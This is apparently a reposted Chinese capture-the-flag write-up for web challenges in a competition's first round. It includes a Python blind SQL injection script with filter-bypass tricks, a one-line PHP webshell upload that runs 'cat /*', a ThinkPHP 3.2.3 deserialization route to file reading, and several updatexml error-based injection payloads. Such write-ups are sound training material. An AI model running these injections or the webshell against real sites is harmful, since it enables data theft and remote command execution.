“红明谷“ 初赛 web 部分WP

前言

参加了第一届红明谷的比赛,4道web当时只做出2道,第三道苦于那个数据库的密码不知道,赛后才问了别的师傅才知道是123456这个弱密码。。。草了。
因为实在太懒了。。。本来不想专门写这篇WP的,因为当时做题的时候只潦草的记下了当时的wp,用的姿势可能还不是最简便的方式。但是想想,不写的话总感觉缺了点什么,所以就把我当时潦草的wp记录给复制粘贴过来了(笑),见谅见谅。

happysql

ban了单引号,但是查询的语句中用的是双引号,拿双引号闭合,如果登录成功的会302跳转到home.php,因此可以布尔盲注。过滤了空格,(拿/**/绕过,过滤了=><这些,拿regexp绕过,剩下的字符串拿十六进制绕过即可,写了个麻烦的脚本,不该用case when的,应该中间直接拿select来布尔的,这样搞的太麻烦了,不过懒得改了,先爆出表名,然后无列名注入即可。:

import requests
url="http://eci-2zeg0n24eqskg2lu57em.cloudeci1.ichunqiu.com:80/login.php"
flag=""
for i in range(100):
    for j in "abcdefghijklmnopqrstuvwxyz,0123456789{}_-":
        value="0x"+("^"+flag+j).encode().hex()
        #payload=f'"/**/||case/**/when/**/(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/regexp/**/database())/**/regexp/**/{value}/**/then/**/1/**/else/**/0/**/end#'
        payload=f'"/**/||case/**/when/**/(select/**/group_concat(a)/**/from(select/**/1/**/as/**/a/**/union/**/select/**/*/**/from/**/f1ag)b)/**/regexp/**/{value}/**/then/**/1/**/else/**/0/**/end#'
        data={
    
    
            'username':payload,
            'password':"1"
        }
        r=requests.post(url=url,data=data)
        if "home.php" in r.text:
            flag+=j
            print(flag)
            break

"ctf,f1ag"

write_shell

直接写shell就行,过滤了空格拿%09来绕过:

?action=upload&data=<?=`cat%09/*`?>

f12看flag。

easytp

百度搜一下thinkphp3.2.3反序列化的洞,找到了一个通过任意连接数据库来读文件,然后SQL注入的姿势:https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA

按照文章的思路,经过一系列尝试,在以读各种flag文件,还有thinkphp3的数据库配置文件来读数据库的密码都失败后,读了/start.sh,成功读到了:

图片

把反序列化的内容打过去:

图片

图片

大致整理一下是这样

FLAG_PATH=/var/www/html/tp3.sql
FLAG_MODE=M_SQL
if [ ${ICQ_FLAG} ];then
    case $FLAG_MODE in
            "M_ECHO")
                        echo -n ${ICQ_FLAG} > ${FLAG_PATH}
                        FILE_MODE=755
                        chmod ${FILE_MODE} ${FLAG_PATH}
                        ;;
             "M_SED")
                        #sed -i "s/flag{x*}/${ICQ_FLAG}/" ${FLAG_PATH}
                        sed -i -r "s/flag\\{.*\\}/${ICQ_FLAG}/" ${FLAG_PATH}
                        ;;
             "M_SQL")
                         sed -i -r "s/flag\\{.*\\}/${ICQ_FLAG}/" ${FLAG_PATH}
                         mysql -uroot -proot < ${FLAG_PATH}
                         rm -f ${FLAG_PATH}
                         ;;
                            *)
                         ;;
           esac
               echo [+] ICQ_FLAG OK\n    unset ICQ_FLAG\nelse\n    echo [!] no ICQ_FLAG\nfi\n

只看case的第三种情况,把tp3.sql导入到数据库中,用户名和密码都是root,但是这还是错的,经过尝试发现123456是真正的密码(…cnmd
因此反序列化链POC那里改一下:

图片

图片

开始报错注入。

图片

注出数据库名是tp后,上面的

"database" => "tp",

也写上,不然注入总是有各种问题

mysql.user where  1=updatexml(1,concat(0x7e,(select left(group_concat(schema_name),31) from information_schema.SCHEMATA)),1)#
mysql.user where 1=updatexml(1,concat(0x7e,(select right(group_concat(schema_name),31) from information_schema.SCHEMATA)),1)#
mysql.user where  1=updatexml(1,concat(0x7e,(select left(group_concat(table_name),31) from information_schema.tables where table_schema='tp')),1)#
mysql.user where  1=updatexml(1,concat(0x7e,(select left(group_concat(column_name),31) from information_schema.columns where table_schema='tp' and table_name='f14g')),1)#
mysql.user where  1=updatexml(1,concat(0x7e,(select left(group_concat(f14g),31) from f14g)),1)#
mysql.user where  1=updatexml(1,concat(0x7e,(select substr(group_concat(f14g),28,20) from f14g)),1)#

一开始substr不好用,最后right不好用,换substr就能报错了。。。有点怪。。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/115422254